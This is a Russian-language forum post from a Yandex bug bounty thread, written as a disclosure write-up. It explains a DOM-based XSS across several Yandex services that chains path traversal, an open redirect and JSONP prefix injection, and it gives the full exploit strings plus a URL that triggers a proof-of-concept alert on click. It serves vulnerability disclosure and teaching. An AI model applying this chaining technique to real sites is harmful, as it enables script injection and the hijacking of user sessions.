Тема: YandexBugBounty
Показать сообщение отдельно
Старый 05.04.2013, 11:30   #8
BlackFan
 
Аватар для BlackFan
 
Регистрация: 08.07.2010
Сообщений: 354
Репутация: 402
По умолчанию

DOM Based XSS
Приз: 10к рублей

Довольно забавная DOM Based XSS, ее раскручивать было интереснее всего.
На очень многих сайтах яндекса после ввода информации в строку поиска и нажатии кнопки "найти", происходит запрос на сценарий "http://clck.yandex.ru/jclck/".
Данный запрос возвращает комментарий, который выполняется в контексте безопасности уязвимого сайта.
Код:
/* counted */
Пример запроса для maps.yandex.ru, при вводе строки test:
Код:
http://clck.yandex.ru/jclck/dtype=stred/pid=0/cid=2873
/path=maps.not_used.p0.nah_not_shown./session=1352991374973
/region=/times=NaN.105/pos=4/text=test/user_input=test
/ratio=4.4.2/since_first_change=753/since_last_change=725
/*data=url%3Dhttp%253A%252F%252Fmaps.yandex.ru%252F%253F
Суть в том, что пользовательские данные в этом запросе находятся в пути к сценарию и не проходят никаких обработок. Используя символы "../" в пользовательском вводе, мы можем обратиться к произвольному сценарию с произвольными параметрами в пределах сайта "clck.yandex.ru".

Также, на данном сайте нашелся сценарий "http://clck.yandex.ru/redir/", который возвращает 302 код и может перенаправить наш запрос на произвольный сайт "*.yandex.ru". Таким образом, для выполнения JS кода нам остается только сформировать этот код на одном из сайтов яндекса. Для примера я взял сценарий "http://api-maps.yandex.ru/2.0.10/release/combine.xml?", в котором через переменную jsonp_prefix формируется payload и остальная ненужная часть контента комментируется.
Код:
http://api-maps.yandex.ru/2.0.10/release/combine.xml?modules=test&jsonp_prefix=alert('xss')//&

Ответ:
alert('xss')//_test([]);
Финальная логика эксплуатации:
1) Вводим специально сформированную строку в поле ввода
2) При нажатии кнопки "Найти" происходит запрос к http://clck.yandex.ru/jclck/
3) За счет символов "../" изменяем путь к скрипту и вызываем http://clck.yandex.ru/redir/
4) Перенаправляем запрос на http://api-maps.yandex.ru/2.0.10/release/combine.xml, который возвращает наш payload

Пример сформированной строки для эксплуатации:
Код:
../../../../../../../../../../..
/redir/*http://api-maps.yandex.ru/2.0.10/release
/combine.xml?modules=test&jsonp_prefix=alert('xss')//&#

Вместо 
http://clck.yandex.ru/jclck/
Произойдет вызов
http://clck.yandex.ru/redir/*http://api-maps.yandex.ru/2.0.10/release/combine.xml?modules=test&jsonp_prefix=alert('xss')//
Результат:


Также, многие сайты поддерживают возможность установить значение поля ввода через GET параметры.
Таким образом, можно сместить наш payload пробелами и любое нажатие на кнопку "Найти" приведет к выполнению кода.
Пример:
Код:
http://maps.yandex.ru/?text=%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fredir%2F*http%3A%2F%2Fapi-maps.yandex.ru%2F2.0.10%2Frelease%2Fcombine.xml%3Fmodules%3Dtest%26jsonp_prefix%3Dalert('xss')%2F%2F&sll=50.18736599999995%2C53.21570399999772&sspn=0.322723%2C0.164658&z=12&results=20&ll=50.187366%2C53.215704&spn=0.322723%2C0.164658&l=map
Уязвимые сайты:
maps.yandex.ru, pogoda.yandex.ru, people.yandex.ru, blogs.yandex.ru, news.yandex.ru, market.yandex.ru, rabota.yandex.ru

Последний раз редактировалось BlackFan; 01.10.2013 в 09:02..
BlackFan вне форума   Ответить с цитированием